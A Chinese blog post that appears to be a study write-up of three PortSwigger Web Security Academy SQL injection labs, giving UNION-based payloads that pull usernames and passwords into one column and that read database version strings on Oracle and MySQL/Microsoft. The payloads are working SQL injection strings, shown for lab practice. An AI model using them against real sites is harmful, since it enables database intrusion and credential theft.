欢迎光临
我们一直在努力

SQL 注入练习 05 | PortSwigger Web Security Academy - UNION 攻击三连:单列取多值+数据库识别

1.概述

本篇覆盖三道PortSwigger SQL注入实验,均为UNION攻击的基础变体:

Lab 1:UNION单列取多个值

Lab 2:查询Oracle数据库类型和版本

Lab 3:查询MySQL/Microsoft数据库类型和版本

2.核心思路与关键差异

Lab 1:单列取多值

场景:原查询只有一列显示位,但需提取usernamepassword

解决:使用字符串拼接将多列合并到单列中。

Oracle/PostgreSQL:'a'||':'||'b'

MySQL:CONCAT('a',':','b')

Microsoft:'a'+':'+'b'

通关Payload'UNION SELECT username||':'||password FROM users–+

Lab 2:Oracle数据库识别

场景:需获取数据库版本字符串。

差异点:Oracle没有全局系统变量,版本信息存储在系统视图v$version中。

查版本语法SELECT banner FROM v$version

通关Payload'UNION SELECT banner,NULL FROM v$version–+

Lab 3:MySQL/Microsoft数据库识别

场景:需获取数据库版本字符串。

差异点:使用系统变量@@version

查版本语法SELECT@@version

通关Payload'UNION SELECT NULL,@@version–

3.实战技巧与反思

1.DB就像方言一样,每种DB都有自己的查询语法、字符串拼接方式、系统表。

2.真实挖洞中,识别数据库类型是渗透的第一步。

3.MySQL中–后必须加空格。在URL地址栏中,一般空格编码为%20。

赞(0)
未经允许不得转载:171主机测评 » SQL 注入练习 05 | PortSwigger Web Security Academy - UNION 攻击三连:单列取多值+数据库识别
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址